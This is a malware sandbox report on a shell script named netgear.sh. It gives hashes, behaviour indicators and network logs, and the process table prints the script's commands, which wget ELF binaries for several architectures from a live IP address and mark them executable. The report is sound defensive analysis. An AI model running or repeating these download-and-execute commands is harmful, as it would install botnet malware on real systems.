Malware analysis netgear.sh Malicious activity | ANY.RUN

Add for printing

File name:	netgear.sh
Full analysis:	https://app.any.run/tasks/40165302-b2eb-4bc2-a675-8c55b0de8b7c
Verdict:	Malicious activity
Analysis date:	April 29, 2025, 13:25:01
OS:	Ubuntu 22.04.2
MIME:	text/plain
File info:	ASCII text, with CRLF line terminators
MD5:	D6D2DC65C33C93434A321167068FF599
SHA1:	41BB60A8D9DA1E7DFE4E2379EA6AF4BE2A9589F8
SHA256:	6DA1F0D2778AC675D6E5EEFA90140257FBF85A30263DD786AA33BBAFD0BCFADF
SSDEEP:	12:EIoVDuBWyIoVjWlIoVxKWIXIoVzNIh5fwW8GjIoVAKLKjWOXIoVeeBM:E7tCl7Fq7jKn7NNIf4w7hKjvX74j

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
No malicious indicators.
SUSPICIOUS
- Modifies file or directory owner
  - sudo (PID: 40662)
- Executes commands using command-line interpreter
  - sudo (PID: 40665)
- Executes the "rm" command to delete files or directories
  - bash (PID: 40666)
- Uses wget to download content
  - bash (PID: 40666)
- Potential Corporate Privacy Violation
  - wget (PID: 40669)
  - wget (PID: 40694)
  - wget (PID: 40699)
  - wget (PID: 40674)
  - wget (PID: 40684)
  - wget (PID: 40689)
- Connects to the server without a host name
  - wget (PID: 40694)
  - wget (PID: 40684)
  - wget (PID: 40699)
  - wget (PID: 40689)
- Connects to unusual port
  - x86 (PID: 40703)
INFO
- Checks timezone
  - wget (PID: 40669)
  - wget (PID: 40674)
  - wget (PID: 40684)
  - wget (PID: 40689)
  - wget (PID: 40694)
  - wget (PID: 40699)
- Creates file in the temporary folder
  - wget (PID: 40684)
  - wget (PID: 40674)
  - wget (PID: 40669)
  - wget (PID: 40689)
  - wget (PID: 40694)
  - wget (PID: 40699)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

258

Monitored processes

37

Malicious processes

1

Suspicious processes

3

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
40661	/bin/sh -c "sudo chown user /tmp/netgear\.sh && chmod +x /tmp/netgear\.sh && DISPLAY=:0 sudo -iu user /tmp/netgear\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN Exit code: 0
40662	sudo chown user /tmp/netgear.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40663	chown user /tmp/netgear.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
40664	chmod +x /tmp/netgear.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40665	sudo -iu user /tmp/netgear.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
40666	-bash --login -c \/tmp\/netgear\.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN Exit code: 0
40667	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
40668	rm -rf mips	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
40669	wget http://94.26.90.205/mips	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
40670	chmod +x mips	/usr/bin/chmod	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

0

Suspicious files

6

Text files

0

Unknown types

0

Dropped files

PID	Process	Filename		Type
40669	wget	/tmp/mips		binary
		MD5:—	SHA256:—
40674	wget	/tmp/mipsel		binary
		MD5:—	SHA256:—
40684	wget	/tmp/arm5		binary
		MD5:—	SHA256:—
40689	wget	/tmp/arm6		binary
		MD5:—	SHA256:—
40694	wget	/tmp/arm7		binary
		MD5:—	SHA256:—
40699	wget	/tmp/x86		binary
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

7

TCP/UDP connections

18

DNS requests

9

Threats

6

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	204	185.125.190.17:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
40669	wget	GET	200	94.26.90.205:80	http://94.26.90.205/mips	unknown	—	—	unknown
40674	wget	GET	200	94.26.90.205:80	http://94.26.90.205/mipsel	unknown	—	—	unknown
40684	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm5	unknown	—	—	unknown
40689	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm6	unknown	—	—	unknown
40694	wget	GET	200	94.26.90.205:80	http://94.26.90.205/arm7	unknown	—	—	unknown
40699	wget	GET	200	94.26.90.205:80	http://94.26.90.205/x86	unknown	—	—	unknown

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.48:80	—	Canonical Group Limited	GB	unknown
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.98:80	—	Canonical Group Limited	GB	unknown
—	—	185.125.190.17:80	—	Canonical Group Limited	GB	unknown
—	—	169.150.255.181:443	odrs.gnome.org	—	GB	whitelisted
512	snapd	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.55:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
40669	wget	94.26.90.205:80	—	Deutsche Telekom AG	GB	unknown
512	snapd	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted

DNS requests

Domain	IP	Reputation
google.com	142.250.185.78 2a00:1450:4001:81c::200e	whitelisted
odrs.gnome.org	169.150.255.181 37.19.194.81 195.181.170.18 195.181.175.40 212.102.56.178 207.211.211.27 169.150.255.183 2a02:6ea0:c700::101 2a02:6ea0:c700::18 2a02:6ea0:c700::19 2a02:6ea0:c700::107 2a02:6ea0:c700::11 2a02:6ea0:c700::21 2a02:6ea0:c700::112	whitelisted
api.snapcraft.io	185.125.188.59 185.125.188.54 185.125.188.58 185.125.188.55 2620:2d:4000:1010::117 2620:2d:4000:1010::344 2620:2d:4000:1010::6d 2620:2d:4000:1010::42	whitelisted
10.100.168.192.in-addr.arpa	—	unknown
connectivity-check.ubuntu.com	2620:2d:4002:1::196 2001:67c:1562::23 2620:2d:4000:1::98 2620:2d:4000:1::23 2620:2d:4000:1::2a 2620:2d:4000:1::2b 2620:2d:4000:1::96 2620:2d:4002:1::198 2001:67c:1562::24 2620:2d:4000:1::22 2620:2d:4002:1::197 2620:2d:4000:1::97	whitelisted

Threats

PID	Process	Class	Message
40669	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40674	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40684	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40689	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40694	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP
40699	wget	Potential Corporate Privacy Violation	ET INFO Executable and linking format (ELF) file download Over HTTP

Add for printing

No debug info

General Info

netgear.sh

D6D2DC65C33C93434A321167068FF599

41BB60A8D9DA1E7DFE4E2379EA6AF4BE2A9589F8

6DA1F0D2778AC675D6E5EEFA90140257FBF85A30263DD786AA33BBAFD0BCFADF

12:EIoVDuBWyIoVjWlIoVxKWIXIoVzNIh5fwW8GjIoVAKLKjWOXIoVeeBM:E7tCl7Fq7jKn7NNIf4w7hKjvX74j

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

SUSPICIOUS

Modifies file or directory owner

Executes commands using command-line interpreter

Executes the "rm" command to delete files or directories

Uses wget to download content

Potential Corporate Privacy Violation

Connects to the server without a host name

Connects to unusual port

INFO

Checks timezone

Creates file in the temporary folder

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings